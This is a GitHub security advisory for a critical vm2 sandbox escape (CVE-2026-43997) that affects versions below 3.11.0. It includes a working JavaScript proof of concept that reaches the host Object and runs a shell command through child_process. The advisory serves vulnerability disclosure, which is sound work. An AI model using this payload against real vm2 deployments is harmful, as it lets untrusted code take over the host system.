GitHub Advisoryadvisory · npm

GHSA-47x8-96vw-5wg6 vm2 Access to Host Object Enables Sandbox Escape

CRITICAL Published 2026-05-07 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-43997
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-05-07

Affected packages

• npm vm2: < 3.11.0 → fixed in 3.11.0

Description

Summary It is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete. Details There are various ways to use the host `Object`, to escape the sandbox, one example would be using `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)` PoC ```js const g = {}.__lookupGetter__; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['__proto__']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ``` Impact Sandbox Escape -> RCE

Related

Alias · CVE (1)

  • CVE-2026-43997 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References